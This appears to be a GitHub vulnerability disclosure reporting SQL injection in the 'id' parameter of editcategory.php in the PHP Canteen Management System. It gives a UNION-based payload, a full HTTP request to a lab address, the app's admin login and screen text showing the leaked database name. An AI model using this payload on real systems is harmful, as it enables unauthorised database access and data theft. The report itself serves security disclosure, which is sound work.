

main

...

bug_report / vendors / mayuri_k / canteen-management-system / SQLi-1.md



songyangqi Create SQLi-1.md

History

1 contributor

31 lines (21 sloc) | 1.09 KB

...

Canteen Management System v1.0 by mayuri_k has SQL injection

BUG_Author: songyangqi

vendors: <https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html>

The program is built using the xmapp-php8.1 version

Login account: mayuri.infospace@gmail.com/rootadmin (Super Admin account)

Vulnerability File: /youthappam/editcategory.php

Vulnerability location: /youthappam/editcategory.php, id

dbname =youthappam,length=10

[+] Payload: /youthappam/editcategory.php?

id=-1%27%20union%20select%201,database(),3,4--+ // Leak place ---> id

GET /youthappam/editcategory.php?id=-1%27%20union%20select%201,database(),3,4--+ HTT

Host: 192.168.1.88

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: PHPSESSID=1f9hph2449vgrcadcct2jgd8ne

Connection: close

INI SQL-BASICS- UNION-BASED- ERROR/DOUBLE-QUERY- TOOLS- WAF-BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

Load URL Split URL Execute

Post data Referrer 0xHEX %URL BASE64 Insert string to replace Insert replacing string Replace All

Youthappam PROJECT BY MAYURI K.

HOME Edit Test Categories Management Home > Edit Categories

Dashboard Customer > Food Category > Food > Invoices > Reports > Setting > Know More > Other Projects

Categories Name youthappam

Status Available

Update

Copyright © 2022 Project Develop by Mayuri K.